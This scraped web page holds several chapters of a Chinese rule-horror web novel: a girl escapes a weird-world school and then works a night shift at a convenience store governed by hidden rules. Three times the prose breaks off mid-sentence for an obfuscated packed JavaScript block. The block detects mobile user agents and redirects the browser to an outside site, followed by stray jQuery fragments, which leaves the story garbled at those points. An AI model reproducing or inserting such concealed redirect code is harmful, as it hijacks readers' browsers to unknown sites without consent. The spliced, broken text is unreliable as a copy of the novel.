《在怪诞世界努力生活的每一天》 2. 山洞 “现在开始听写,课本都收起来放进桌肚,桌面上只能有笔和听写本。” 教室里响起一阵桌盖开合的杂音,好一会儿才消停下来。 班主任尖利的嗓音报出一个个问题。与此同时,广播刺啦刺啦,有人拍拍话筒,一道女声念起答案。 舒司鸢照旧自顾自落笔写下答案,却分了神——这些天里,她自始至终都未能找到广播室的位置。 “木偶”会在那吗? 是谁在念答案? 以及,夏蓁蓁为什么可以变成雕像? 要不是秦迎那傻缺一到午休就跑得无影无踪——虽然据本人说是去办公室偷答案,她还能逮住机会抓到人,两个人好分头去找线索。 她视线落在前排低头奋笔疾书的秦迎和转着笔迟迟未动一字的夏蓁蓁身上,笔尖在笔记本空白处无意识画出几条横线。 广播又刺啦一声,仿佛当头一棒—— 校规。 禁止前往活动楼五楼,禁止前往后山禁区…… 舒司鸢目光清明,这哪是桦林附中校规,分明是桦林附中必做榜啊! 广播室就在断崖对面的山里。 但是上课铃声一旦打响,便会连着上半天的课,每天唯一的自由活动时间只在午休时分。 舒司鸢暗自思忖着请假的理由。班主任的声音戛然而止,广播一同停止,打断了她蔓延的思绪。 “都停笔,不许再写了,”她严厉地说,“手平放在桌上。” 舒司鸢依言照做,老师环绕教室一圈,很快收齐了听写本,坐到讲台后的一把椅子上批改。 笔在纸页上飞快划动,不消片刻便“啪”地翻上最后一本,大力抽出抽屉,翻找出暗红的戒尺。 她愤怒起身,挥舞戒尺凶狠地抽向讲台:“怎么还是有三个人没满分!” 舒司鸢一想到又要被打,手心便隐隐作痛起来。 班主任抽出三本听写本,手指指着,似要把本子戳出洞来,血红的嘴巴一张一合,念出最上面舒司鸢的名字。 她顶着班主任极度不满的目光,磨磨蹭蹭走到讲台旁,才刚伸出手,教室的门骤然被敲响。 班主任狠狠朝门口剜了一眼,不耐烦地挥手示意舒司鸢去开门。 她拉开门,外面的人先后挤进来,把她撞在一边。舒司鸢倚在门边揉肩膀,马上看清来人是谁。 “老师,你们班的学生说要帮忙打印学校的宣传单,但是根本没打印。” 女生气急败坏地指着舒司鸢和秦迎,一双眼睛气鼓鼓的,仿佛要从眼眶里蹦出来。 “还有她,”男生也指着夏蓁蓁补充道,“她明明是雕像,却出现在打印室里。” 班主任的眼睛眯成一条细缝,眉头高高蹙起:“答应同学的事怎么能反悔?” 灯光骤然昏暗下来,温度一同下降,一丝阴冷悄然攀上舒司鸢的脚踝。 她低头一看,地板不知何时已然变成一滩正在融化的黑油,鞋子淌在粘腻的液体里。 她甩了甩脚,用了点力气挣脱,留意着教室内的情况,不动声色地往门口靠近。 班主任一时忽略了不在座位上的舒司鸢,迈着细长如杆的双腿走下讲台:“我要先把你送回美术教室,再送你们去打印室。” 说完,她才想起被指到的人还有舒司鸢,身体一转,然而朝门口看去时,那里哪还有什么人影? 窗户忽然被猛地推到一边,舒司鸢探身进来伸手,拎起她的包挎在身上,朝夏蓁蓁和秦迎喊道:“去后山!”接着头也不回跑远了。 她边跑边在心里回忆路线,速度却不减,周遭事物迅速后退,直到越来越靠近画着大大叉号的告示牌。 舒司鸢手在磨损严重的栏杆上一撑,灵活地翻身而过,落地踩进满地的枯枝败叶中,发出劈里啪啦的脆响。她找到中午布置的充当记号的石堆,抬脚踢散,一头扎进密林。 其实通往断崖的路不只这一条,只是这条路她中午刚走过,当时顺手清理了一下沿途长得茂盛的植物,因此此时不仅有路下脚,也走得顺利许多。 令人烦躁的虫鸣充斥耳膜,舒司鸢干脆地折断一颗高大植物的根茎,随手扔在一旁。天光不再被遮挡,倾泻进来笼罩住她。 她走出树林几步后又停住,屏气侧耳倾听一番,然而身后动静全无,虫子的叫声也消失了。 舒司鸢不再关注后方,来到断崖边上,凝神注视对面爬满藤蔓的山。看得久了,隐约分辨出在藤蔓之下,藏有一个不小的山洞。 舒司鸢愈发确定心中猜测,但要如何去到山洞,她却是毫无头绪。 除非…… 除非秦迎能想起来飞剑秘诀。 舒司鸢无奈地叹气,现在回想起他的话来,还是觉得荒诞不已。但除此之外,似乎也没有其他办法了。 一阵慌乱的脚步声由远及近,夏蓁蓁和秦迎跌跌撞撞地出现在舒司鸢方才站着的出口。 “怎么过去?”夏蓁蓁见到她,知道走对了地方,急切地来到她身边问道。 舒司鸢看了秦迎一眼。 “别看我。”秦迎连连摆手倒退几步,“都说不记得了。” “你知道就快说,等会儿他们就追上来了!”夏蓁蓁一把拽住他的衣摆将人拉回来,口吻逼迫,“这是藏私的时候吗?刚才你被老师抓到是不是我折回去救你?” 夏蓁蓁扯着秦迎的衣襟来回晃他:“现在该你报答我了!” 秦迎急道:“我忘了啊!” “这种事也能忘!” “小心点,”舒司鸢盘腿坐在悬崖边上,看他们两人推推搡搡的,嘱咐道,“别把我推下去了。” 夏蓁蓁扯着秦迎衣襟的手一顿,朝她缓缓勾起嘴角,眼里不怀好意。 舒司鸢大感不妙,还没起身,就被扑上来的夏蓁蓁一把揽住腰往后带去—— 下一秒,三人齐齐坠下悬崖。 层层云雾里,猎猎风声灌入舒司鸢的耳中,又依稀挤进破碎的话语—— “快想!” “忘了!” 剧烈的失重感里,夏蓁蓁抱着她居然还能腾出手来折腾秦迎。舒司鸢只能抱紧单肩包里的猫安慰自己,反正里世界里的死亡并不是真的死亡,只是会不断重新进来,直到找到“木偶”为止。 虽然下一次的难度会大大提高,但她已经在这一轮里掌握不少信息了。 倏地,她模模糊糊地听到旁边的秦迎连贯地吐出一串字眼,到她耳朵里却是一段无甚意义的话。 舒司鸢努力理解其中的含义,背诵的声音突然停下,紧接着她的身体撞上一个坚硬寒冷的东西。 下坠的感觉消失,反而慢慢上升。舒司鸢抓住剑的边缘稳住倾斜的身体,一颗心还在狂跳。 夏蓁蓁蹭到她身旁,瞠目结舌向下望去:“真的可以啊?还以为要摔死了。” 秦迎瞪大眼睛:“你不确定还拉我们一起送死?” “这不是成功了。”夏蓁蓁满不在乎地道,“反正死了也还能复活。” 他俩又掐起来,舒司鸢紧紧抓着剑的边沿,以防被撞下去。好在几分钟之后,飞剑安全平稳地将他们送到对面的山上。 舒司鸢跳下剑,转身回望,班主任和情侣站在流动的白雾里,朝她们露出怨毒的笑容。 他们不敢靠近山洞吗? 夏蓁蓁戳戳她的后背,把她脑中刚冒出的念头戳散了。 “假老师和假情侣,”她显然也看到了对面三人的表情,哼了一声,“别管他们了,真的在山洞里。” 舒司鸢闻言眼睛一亮,夏蓁蓁果然知道不少信息,她开门见山:“‘木偶’也在这吗?” 夏蓁蓁语焉不详道:“你们没在学校里找到的话,那就在这里。” 舒司鸢察觉她的回答不太对劲,但“木偶”一人一个,只有找到专属于自己的“木偶”才能出去,她们不存在任何竞争关系。 夏蓁蓁明显在隐瞒什么,舒司鸢留了个心眼,转而旁敲侧击问道:“是另一对情侣在山洞里广播吗?” “是,”夏蓁蓁这回爽快地答道,“我知道你一直在跟踪我,所以你应该也发现了,学校里有两对情侣,对面是假的,真的在山洞里靠广播把听写答案传播出去。” “但我一直不知道他们是怎么过去的,等我赶到的时候,他们已经到对面了。” 前面秦迎已经扯断藤蔓走进洞穴,舒司鸢正想跟上,夏蓁蓁拉住她,附在她耳边轻声道:“作为昨天帮我恢复记忆的感谢,找到‘木偶’之后,不要选择出去。” “你们过来看看。” 舒司鸢一怔,疑问还未问出口,秦迎冲她们招手,她只好先过去。 眼前分出两条毫无差别的岔路,皆是通往一片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272675|182388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑暗。 “我一个人走,”舒司鸢率先表示,“你们先选吧。” 秦迎没什么用,而夏蓁蓁明显不可控。山洞里情况不明,舒司鸢希望尽量降低危险。 夏蓁蓁和秦迎没意见,夏蓁蓁随意选了右边的路,在路口摆手和舒司鸢分别。 见两人的身影消失在黑暗里,舒司鸢解开单肩包的扣子,关了大半天的黑猫终于得以从狭窄的包里解脱,她摸了摸猫的脑袋以表安慰:“走吧,芝麻。” 山洞的顶部垂得很低,而且崎岖不平,倒挂着顶端尖锐的岩石,舒司鸢不得不用手护着脑袋,另一只手则摸索着石壁摸黑前行。 空气中弥漫着泥土的腥气,石壁潮湿,光滑柔软,舒司鸢按了按,石壁微微弹了回来。 舒司鸢默默改成只用两根手指探路。 拐过一个弯,她继续朝前走,毫无防备地撞到一堵墙上。 舒司鸢伸手拍了拍,面前的墙轻微颤动。她扬眉,手贴在墙壁上用力平推,掀起粉尘飞舞。 地面投下一片光亮,她迈着谨慎的步子,小心翼翼走进去。 视野骤然开阔,墙壁后的空间一眼望不到顶,顶端的光线垂落,照亮整个山洞。山洞竖立数十座约莫两米高的黄色土堆,此外空无一物。 蓦然,一只小手搭上立在中央的土堆尖端,紧接着,一只“木偶”三两下爬上土堆,两条腿欢快地晃悠。 见到她没有主动过来,这不是她的“木偶”。 看来广播室在另一条路上,她的“木偶”也在那。舒司鸢上前拽住“木偶”的腿把它拉下来,卡住它的脖子,任凭它在手中挣扎。 她决定原路返回去找夏蓁蓁和秦迎,刚好把“木偶”带给他们中的哪一个。谁知门口忽然有人刻意压低嗓音说话的声音,正是夏蓁蓁和秦迎。 舒司鸢的心没来由地“砰砰”直跳,她顺从直觉,飞奔到角落一座土堆躲好,控制住“木偶”乱踢乱打的手脚,敛息倾听。 “里面好像没人,你不是说我的‘木偶’就在这吗,难道也被她……” “与自己的‘木偶’融合后,才能吃别人的,她的‘木偶’已经被我吃了。”夏蓁蓁冷声打断,“她走不了,人就在这里。” 舒司鸢大气不敢喘,怀里秦迎的“木偶”不安地动了动,方形的嘴巴一开一合,吐出一颗环状的硬物,掉在她的腿上。 那是一枚戒指,舒司鸢刚弯腰捡在手心里,背后的土堆被人一圈打散,轰然坍塌倒地,她被强大的推力撞到在地,当即借力抱头连滚几圈出去,这才逃离被黄土掩埋的命运。 她把单肩包甩出去老远,手心紧攥的戒指便在指缝滑落,骨碌碌转到夏蓁蓁脚边。 舒司鸢和夏蓁蓁眼神一变,同时伸手。 一大把土沙劈头盖脸撒下,两人被迫闭上眼,沙子磨到眼睛里,立时泪流不止,手指却仍固执顽强在地上摸索。 舒司鸢跪在地上专心寻找,手心被夏蓁蓁的指甲剐了一下,立刻涌出几粒血珠,她“嘶”了一声,突然听到对面的夏蓁蓁爆发出一顿谩骂,和剧烈的挣扎声。 她强忍不适睁眼,结果手腕一麻,双手被用力钳住绕到身后绑住。 感受着手腕上熟悉的触感,舒司鸢认出这是她交待秦迎绑架夏蓁蓁用的床单。 中二少年幸不辱命,还绑一送一。 舒司鸢试图动了动手腕,绳结相当严实。 无法行动,也看不见,舒司鸢索性往地上一躺,身体好巧不巧盖在戒指掉落的区域,等待眼里的痛苦过去。 这时,摔在地上四仰八叉的“木偶”爬起来,“吧嗒吧嗒”朝主人碎步跑来。 然而秦迎却没选择离开,无言的沉默里,舒司鸢听到三道清浅的呼吸声。 夏蓁蓁突然开口:“当人们意识到自己生活的世界并不正常,便会千方百计寻找没有任何怪诞存在的理想世界。而发现真相的过程,称之为觉醒。” “什么正常不正常的?你们俩怎么说一样的怪话。”片刻后,秦迎回答道。 “别再装了,”夏蓁蓁冷笑一声,毫不留情地拆穿他,“如果你没觉醒的话,听到我说起‘正常世界’几个字的时候,就会怪诞化了。” 秦迎愣住,怪不得当时他跟舒司鸢装傻,她还笑了。 “所以这里是不是有……”秦迎脑中灵光闪过,呼吸瞬间变得灼热。 3. 新世界 “先给我解开。”夏蓁蓁说。 “谁知道你还有什么花样,”秦迎断然拒绝,“你不说我就用‘木偶’回去了。” “那你走吧,”夏蓁蓁不气不恼,“能够永远离开的方法只在这里。” “用‘木偶’脱离之后,你就再也进不来这个里世界了。” “往后余生,你都只能在怪诞世界里度过。” 又是一阵缄默。 秦迎按捺不住,败下阵来,上前替夏蓁蓁解绑。 夏蓁蓁眼里的疼痛缓解大半,她半睁着眼睛,指着舒司鸢说:“东西好像掉在那儿了。” 她刚说完,舒司鸢就被秦迎拉起来推到一旁。 满地尘土里,一枚银环折射出华美的流光,被秦迎捡在手心里,然后他果断远离夏蓁蓁,退到舒司鸢身后。要是夏蓁蓁发难,他还能把人推出去挡一下。 舒司鸢察觉出他的意图,闭着眼挑拨离间:“她都不算人了,说的话也真真假假,你还信她?” 她指的是夏蓁蓁能变成雕像的事。 “别听她的。”夏蓁蓁立即反驳,一步步逼近,“她的‘木偶’消失了,想出去只能用戒指。” “你别过来!” “谁说只有一枚戒指?” 秦迎喝止越靠越近的夏蓁蓁,听见坐在地上的舒司鸢不咸不淡地冒出一句话。 夏蓁蓁也听到了,眼看逃离有望,她顾不得多想:“在哪?” “我就找到一枚,”舒司鸢说,她终于可以睁开眼睛了,与夏蓁蓁定定对视,“你也说了,我的‘木偶’被你吃了,想离开只能靠戒指。” 她又将视线投向秦迎:“夏蓁蓁这疯子自己跳悬崖也就算了,非要拉着我们一起,你确定戒指真的有用?怎么用?万一她也不确定,只是拿你做试验呢?” “我知道戒指的使用方法,”舒司鸢睁着眼睛说瞎话,晃晃被绑起来的手暗示他:“合作对象,咱们一人一枚,我可以先示范。” 秦迎犹豫着解她手腕处的绳结。 “等一下,”夏蓁蓁回过神来,快速道,“她身上不可能有另一枚戒指,否则她大可以等只剩下一个人的时候再说,现在说出来对她根本没好处!” 然而为时已晚,舒司鸢瞬间挣脱松垮的床单绳索,一肘撞在秦迎的膝盖,回头大喊:“芝麻!” 一只黑猫从被丢在几步之外的包里钻出来,以迅雷不及掩耳之势抓着秦迎的裤腿蹿上来,锋利的爪子狠狠抓在他手臂上,划出深深的血痕。 靠!他就说为什么舒司鸢去哪都带着她的破包! 秦迎吃痛放手,戒指掉到猫头上。芝麻晃着脑袋,戒指顽固地滞留在它头上,它摆了下尾巴,低头跳进舒司鸢怀里。戒指随它的动作震下来,精准砸进她手中。 舒司鸢痛苦地皱起眉头,戒指正掉在她被夏蓁蓁抓出来的伤口上,被手掌上干涸的血迹映照,泛出一角血红。 就是这一下拖慢了舒司鸢起身的动作,夏蓁蓁已经扑了过来,一只手死死掐住她的肩膀按住她,指甲深深嵌进皮肤里。另一只手直直伸向戒指。 舒司鸢当即冲她抬腿猛踢一脚,却踢上一块坚硬无比的东西,脚尖立刻蔓延起一股强烈的痛感——她踢到变成雕塑的夏蓁蓁了。 骨折的错觉中,舒司鸢只来得及阻止芝麻一口咬在夏蓁蓁伸出的手臂上,她的猫绝对不能把牙磕了。 两人倒在地上,舒司鸢竭力伸远手,场面一时僵持。她感觉肩膀要被夏蓁蓁卸下来,然而手心却激起更锥心的痛觉。 她摊开手一看,方才看到戒指之所以红,根本不是被她流出来的血染的,而是它渐渐刺进伤口吸血,此刻已然整个通红。 失血过多,舒司鸢脑袋一片混沌,眼前阵阵发黑。 她用力闭了闭眼迫使自己清醒几分,身体却忽而一轻,夏蓁蓁压在她身上的重量消失不见。 舒司鸢警惕地睁眼,没有夏蓁蓁,没有秦迎。 天色已晚,路灯明亮,汽车发动引擎和轮胎辗过地面的声响近在咫尺,却又像糊上一层膜似的隔在耳畔。 舒司鸢在一片光亮中恍惚坐起,车辆接连从巷口飞驰而过。 小腹处传来柔软的触感,芝麻用脑袋重重地蹭了蹭她,发出长长的“喵——”声,眼睛亮晶晶地望着她。 舒司鸢把它圈过来,左手小指蓦地闪过一道银光。 她定睛一看,是那枚戒指。 这么说来,她真的逃离怪诞,来到新世界了? 她抱着猫站起来,微凉的夜风拂过,芝麻却散发着热热的暖意。 舒司鸢小心踏出第一步,第二步……随后步伐越来越坚定,径直向巷口走去。 晚上十点二十八分,舒司鸢走出小巷,站到一家仍在营业的便利店门口。 滚动的电子屏幕上滚完一条促销广告,电话号码后的实时时间跳到二十九分。 舒司鸢在这一分钟里,意识到她身无分文,无处可去。 手机没电黑屏关机,坠在外套口袋里,目前起到板砖的作用。还有一只两年前捡到的重伤流浪猫,花了她一大笔钱和很长一段时间才变得健康,现在长到十斤重,目前起到一个健身用品的作用。舒司鸢换了只手抱它,暗暗祈祷它不要生病。 便利店里飘出食物的鲜香,舒司鸢吸吸鼻子,芝麻跟着吸吸鼻子。 她转身离开,店内冲出来一道人影,临近又怯怯地问:“那个,你要进来坐一会吗?” 舒司鸢身子自然地一转,“嗯”了一声,和店员一起走进店内。 门口装有感应装置,她们一进去便响起一道短促的“叮铃铃”。 舒司鸢四下张望,这家便利店还挺大,货架满满当当,临街的一面墙壁装了一块大玻璃,摆有一张长桌,转椅全都整齐朝向桌子。 请她进来的店员是个年纪很轻的女孩子,名字叫莘曼,今年刚来这附近上大一,不忙的周末便来便利店兼职。 “今天是我第一次值夜班,”她垂眸不好意思道,“我有点害怕,你人真好,愿意进来陪我。” 舒司鸢在心里尬尴笑了两声,其实只要莘曼愿意,她可以整晚都待在这。 舒司鸢问她借了充电器给手机充上电——居然可以用。 她有点意外,再看看零食包装袋上熟悉的字体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272676|182388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,担心戒指是把她给送到其他省份了。她故意借口莘曼的口音很熟悉,问她是哪里人。 莘曼说出一个她从来没听过的省份,给她端来一份热气腾腾的关东煮。 “这个给你。”莘曼也坐到吧台的椅子上,热切道:“你还有什么想吃的都告诉我,我请你,可以用员工折扣。” 热气翻涌,在舒司鸢脸上洇出一块水痕。她知道莘曼是为了多留她一会儿,总之不管是吃东西还是在这坐着,都正合她意。 莘曼抱歉地看向芝麻:“对不起小猫,没有可以给你吃的东西。” “这里也卖早餐吧?”舒司鸢注意到收银台后的蒸箱,“有没有水煮蛋和红薯之类的?” “有的有的,”生怕舒司鸢要走,莘曼赶紧站起来去打开蒸箱,“是早上剩下的,我帮你热一下。” 她说着打开了机器,舒司鸢的目光却从她身上移开,落到收银台上贴着的一张纸。 舒司鸢:“你们这还招人啊。” 莘曼点点头:“老板说最近人手不够,今天白班也是我上的,老板就说夜班也一块上了。而且本来轮夜班都是两人一组的。” 她充满希冀地问:“你要应聘吗?要是来的话,现在给老板打电话,他肯定会同意的。” “不来……”舒司鸢的手机开机了,去世的父母给她留下一笔颇丰的遗产,够她这辈子躺平了。她输入密码,莫名被格式化的手机显示未安装SIM卡。 莘曼:“夜班时薪一百,日结。” “不来是不可能的。”舒司鸢丢开没用的手机。 鉴于舒司鸢谎称无法拨打电话,便请莘曼代她联系上老板。 挂断电话一分钟后,舒司鸢已经穿上印着“好多多便利店”白色字样的深绿色围裙,和莘曼一同站在收银台后,两个人分着吃碗里的蛋白。 芝麻埋头吃着纸碗里放凉的蒸红薯和鸡蛋黄——舒司鸢预支薪水给它买的,莘曼热心赞助了所有的鸡蛋。 “夜班十一点才开始,你可以先休息会,”莘曼说,把手机递给舒司鸢,“老板让你也看一下这个。” 舒司鸢接过手机,是几条关于值班注意事项的聊天记录。 老板:夜班时间为晚十一点至翌日早七点,准时打卡上下班。工作期间请穿戴好工作服,到点再脱下。 老板:晚上客人不多,不忙的话可以坐着休息。但是一定要服务好顾客,不要让他们往意见箱里投差评。 老板:早班会来两位同事,务必确认好身份再让他们接班。 就算她查看这几条消息的时候,老板不放心似地又发出一条:第一次值夜班不用太紧张,不会很难。有事给我发消息或者打电话。 莘曼回了收到。 消息刚发出去,收银台上的电脑跳出一分钟倒计时的签到页面,莘曼拉着舒司鸢先后录入人脸,莘曼由于是连班的缘故又录了一次,几秒后弹出显示两人均打卡成功的提示。 “老板动作好快啊,”莘曼感慨道,“这么快就把你的信息录入系统了。” 这时,风卷起塑料门帘,感应装置检测到顾客进来,“叮铃铃”声骤响。 4. 好多多便利店 十一点到来的那刻,舒司鸢透过玻璃窗户往外望去,街道给她一种凝固的感觉,沿途的树木、公交站牌、垃圾桶和建筑物静静伫立,仿佛在暗中等待什么。头顶的黑夜愈发厚重,像一块巨大的黑色果冻包裹住便利店。 舒司鸢在怪诞世界生活了近二十年,对危险十分敏感,本能地感到些许不安。铃声突然炸开,舒司鸢呼吸停滞一瞬,随即又恢复正常。 门口出现一大一小两个身影。年迈的老妇牵着小女孩的手,掀开塑料门帘走进来。 老婆婆目测得有七八十岁了,小女孩十一岁左右。她们的衣衫稍显杂乱,头发也翘起两撮,像是从睡到一半从床上被人硬拉起来的。 不过舒司鸢打量来打量去,得出结论,这就是一对普通的祖孙俩。 她观察的时候,莘曼敏锐地注意到犹豫着向柜台走来的两人,便率先开口询问:“欢迎光临,有什么想买的吗?” “你们这里有没有一个叫……”老人凑上前来焦急地问,眼神浑浊而呆滞。 “不用不用!”小女孩一下子打断,挽住她的手,将她带离收银台,“外婆,我们先自己找找吧。店员姐姐们很辛苦的。” “所有商品摆放的位置我都记得。你告诉我,我帮你找更快啊。”莘曼的话回响在便利店内,奈何女孩拉着外婆的胳膊一闪,消失在货架后。 “这不就是我的工作吗。”莘曼还在不解地嘀咕。 舒司鸢接话道:“等会她们没找到会回来的吧。” “也是。”莘曼打了个哈欠,她下午三点就在便利店里工作了,骨头里生出淡淡的疲惫感,便犯了懒。要是在平时,她肯定会追上去。 货架后传出翻找商品的声音,塑料包装袋窸窣作响。莘曼又打了个哈欠,门铃声恰好响起,她含糊不清地说了一句“欢迎光临”。 进来的是个刚参加工作的实习生,面孔稚嫩却一脸倦容,眼底发青,不太合身的白衬衫满是褶皱,领带松垮,背着一个磨损严重的棕皮公文包。他摇摇晃晃走向吧台坐下,身子斜斜歪靠在桌子。 “罐装咖啡和饭团,随便哪个牌子,饭团要两个。” 莘曼果真如她所言,将任意物品的摆放位置记得清清楚楚。她麻利地挑出实习生要的东西,把饭团递给舒司鸢去加热,自己则打开罐装咖啡送到他面前。 “你好,你的咖啡。” 实习生抢过,仰头大灌几口,然后小口啜饮,另一只手拿出手机付钱。 微波炉发出“叮”的一声,舒司鸢手捧盛有两个滚烫饭团的纸碗,走过来放到实习生面前。他不管不顾撕开包装,咬上一大口,胡乱咀嚼几下便咽下去。 他两三下解决第一个饭团,开始吃第二个饭团的时候,速度才慢下来。 身后响起“咚”的一响,舒司鸢回过头。实习生头磕在桌子上,手里还举着咬了一半的饭团。 她吓了一跳,条件反射以为饭团里有毒,连忙回去查看他的情况。 “没事,”她对同样吓了一跳的莘曼说,“只是睡着了。” 莘曼放松地呼出一口气,见那对祖孙还在翻寻,便交代舒司鸢几句,快步走到她们身边。 舒司鸢百无聊赖,一手托腮,眼睛盯着电脑里的监控,记忆各类商品的位置。 意见箱上的圆形按钮闪过一道红光,刺得向收银台走来的莘曼眯了下眼睛。她领着老婆婆和小女孩过来:“小鸢,你查一下店里有没有‘叮叮糖’。” 舒司鸢应了一声,拉出键盘搜索。 “没有。”她简短地说,把页面给老婆婆和小女孩看。 “婆婆你看,我们店里真的没有这种糖果,我给您推荐一些其他的吧。”莘曼说着,拍了一下意见箱,“奇怪,为什么又闪了一下。” 老婆婆像是没有听到她说的话,嘴里连续念叨着“叮叮糖”,满是皱纹的脸越来越呆板。 这时意见箱又亮了一下,舒司鸢刹那间意识到什么,但还没有理清其中思绪,身体已经先一步做出反应。 “停下!”她喝道,倏然起身,手即将抓上老婆婆的肩膀。 站在婆婆旁边的小女孩动作更快,她用力揉着外婆的脸,不停地喊她。 “外婆、外婆……明莱!” 小女孩情急之下,脱口而出一个名字。老婆婆当真渐渐安静下来,只是仍旧一动不动。 莘曼和小女孩扶着老婆婆坐下,舒司鸢望着她们的背影似有所感。她尝试打开意见箱,结果这一直乱亮的玩意儿却上了锁。 舒司鸢倒了两杯热水,小女孩接过,道了声谢,吹几下喂到老婆婆嘴边。 老婆婆自己拿起透明塑料杯喝起来,小女孩便捧着自己的那一杯,水汽熏得她的脸蛋红扑扑的:“谢谢姐姐。给你们添麻烦了。应该是我外婆晚上睡觉的时候又梦到我妈妈了,醒来后她就总吵着要‘叮叮糖’,说这是妈妈小时候最爱吃的。” “一路上我们问了好多店铺,但是都没有找到。” “这么晚还在外面乱逛太危险了,早点回去吧,”莘曼说着解锁了手机,“小朋友,这是姐姐的电话,到家了给我打电话或者发消息。” 小女孩撇撇嘴:“我不是小朋友,我叫明空。”她把莘曼的号码存到电话手表里,又说道:“这是我外婆明莱。” 明空脆生生地宣布道:“我和外婆要再待一会。” 莘曼有些担心,但她从小到大都不擅长拒绝别人的请求,便没说什么。 舒司鸢也转身离开,却被明空扯住袖子。她疑惑地俯身。 “姐姐,”明空左看右看就是不看她,摸着鼻子小声道,“我和外婆害你们拿了差评……” 她心虚的声音逐渐充满勇气:“我想留下来,看看能不能帮上忙。” 舒司鸢一言不发,侧身静静地看向窗外。黑夜积压,街上的景物快要被吞没得看不清了。 夜色深处似藏有獠牙,蛰伏着,等待一口咬下。 “怪不得,”她突然说。然后转向明空,“你经常遇到这种事吗?” 这一刻,她萦绕心头的不祥预感终于化为实质,撕开所有那些如同脆弱的薄纸般的自欺欺人。 明空点头,说道:“姐姐知道你们店门口贴了顾客购物守则吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272677|182388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我也是第一次上班,”舒司鸢摇头,“你可以告诉我内容吗?” 舒司鸢遇到过不少次规则类的里世界,对此还算小有经验,她想了想,又补充道:“如果不能说就算了。” “可以的,”明空回忆起来,“上面写了……这份守则只在晚上十一点到次日早上七点有效。” “第一,店员身穿深绿色制服。” “第二,货架只有五层。” “第三,顾客必须购买商品。” 明空一口气流利背完。 太短了,意思也不明确。 舒司鸢暗想,迎上明空的目光:“你之所以留下,是因为你外婆必须买到‘叮叮糖’吧。” 明空坦率地承认:“是。我本来不想进来的,但没拦住外婆。” “所以,为了减少差评,拜托姐姐帮我外婆找到想要的商品吧。”明空笑得像只狡猾的小狐狸,“我也会一起想办法的。” 谈及差评,舒司鸢若有所思地朝莘曼望去,她身上的深绿色工作服果然变淡了一些,如同洗涤过多次的旧衣服那样褪色了。 旋即她低头一看,自己身上的制服也不像刚穿上时那样颜色浓重。她猜想应该是刚才帮明莱搜了店内不存在的商品。 和顾客们进入便利店购物需要遵守规则一样,她和莘曼作为员工,肯定也有一份守则,即夜班开始前,便利店老板发来的那几段信息。 但是老板给出的信息很零碎,而且,老板知道他的便利店到了晚上会变成这样吗? 舒司鸢倾向于他是知情的,因为他曾明确表示过,第一次上夜班可以受到优待。 那么她们最多可以承受几次差评呢?另外,存不存在用好评抵消的方法? “莘曼。”舒司鸢喊道,“用手机搜一下‘叮叮糖’是什么。顺便问问老板拿了三次差评怎么办。” 她总共看到意见箱亮了三次红灯,也许她们还有更多没有注意到的失误。但她感觉红光更像是一种提示,每次闪烁一定会让其中一个员工看见。 舒司鸢对明空解释道:“等她查好,看看能不能用店内其他糖果做一份出来。” 莘曼不懂但照做,而且办事效率极高,马上举着手机念到:“查到了,是一种麦芽糖。” 然后她又卡顿了下:“老板还没回。但我记得他之前说过一次值班里最多只能被投诉十次。” 十次乍一听还挺多,但在一个顾客身上,她们就连连出错三次。长夜漫漫,后面还不知道会面临什么危险。 她决定先解决明莱的问题,不然老人家再念叨一次,她们估计又要添上几个差评。 舒司鸢环视琳琅满目的便利店一圈,选择问莘曼:“店里有可以做麦芽糖的材料吗?” “啊?我想想。”十分清楚便利店情况的莘曼也犯了难,垂首苦苦思索,快速在脑海里搜寻。 “我找到了……找到了!”明莱猛地站起,颤抖地指着货架最底层道,“‘叮叮糖’就在那里,在第六层!” 舒司鸢和明空齐齐看向她手指的地方,那里只是货架底部与地板之间的空隙。 5. 好多多便利店2 “外婆,便利店的货架只有五层。” 明空一惊,慌忙拉住明莱。 明莱力气莫名得大,几下便抽出被桎梏住的胳膊。 “小好要吃糖……我要给小好买糖……” 舒司鸢见状不对,拦在明莱身前,迫使她与自己对视:“婆婆,我是店员,便利店没有第六层货架。” 她清晰坚定地又重复一遍。 她心里其实不太有把握,但是明莱眼神清明一瞬,身体僵在原地。明空抓住机会,半拉半扯将外婆带回座位。 “嘶,这光又刺到我眼睛了。”莘曼抱怨道,“能关了吗?”她说着便到处拍拍意见箱。 舒司鸢闻言低头,见自己身上的制服果然褪色些许。 如此看来,穿着正常颜色工作服的店员,可以在一定程度上延缓顾客的异化,但自身会受到反噬。 她和莘曼各自还剩下三次机会。 一旦次数全部用完…… 